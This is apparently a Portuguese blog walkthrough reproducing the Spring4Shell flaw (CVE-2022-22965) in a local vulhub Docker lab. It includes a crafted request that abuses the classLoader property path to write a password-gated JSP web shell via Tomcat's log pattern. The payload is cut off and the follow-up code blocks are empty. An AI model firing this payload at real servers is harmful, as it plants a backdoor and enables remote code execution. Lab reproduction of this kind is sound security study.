Introdução à Vulnerabilidade 0x01
Spring Framework é uma estrutura de aplicativo de software livre.Sua intenção original é reduzir a complexidade do desenvolvimento de aplicativos.Ele possui uma arquitetura em camadas, permite que os usuários selecionem componentes e fornece uma estrutura útil para o desenvolvimento de aplicativos J2EE. Quando o Spring é implantado no JDK9 e superior, os invasores remotos podem explorar essa vulnerabilidade para escrever código mal-intencionado para causar a execução remota de código.
0x02 Reaparição da Vulnerabilidade
vulhub/spring/CVE-2022-22965 no mestre · vulhub/vulhub · GitHub
Use o comando no diretório atual: docker-compose up -d
para abrir o ambiente com um clique:
Veja se a porta atual está aberta em 8080
:
Depois de abrir a página, você pode ver que o serviço atual está ativo:
http://127.0.0.1:8080/
Segue o link do autor:
http://127.0.0.1:8080/?name=Bob&age=25
A página aparece:
Então, de acordo com o prompt, construa o endereço da solicitação: ( 方法不唯一
)
http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25
Depois que a solicitação é feita, uma transformação é necessária:
A parte vermelha é substituída por:
1 2 3 4 5 |
|
O efeito é mostrado na figura abaixo:
Então visite:
1 |
|
Basta executar o comando!
Observe que várias execuções aqui gravarão arquivos continuamente no log, por favor, não opere com frequência!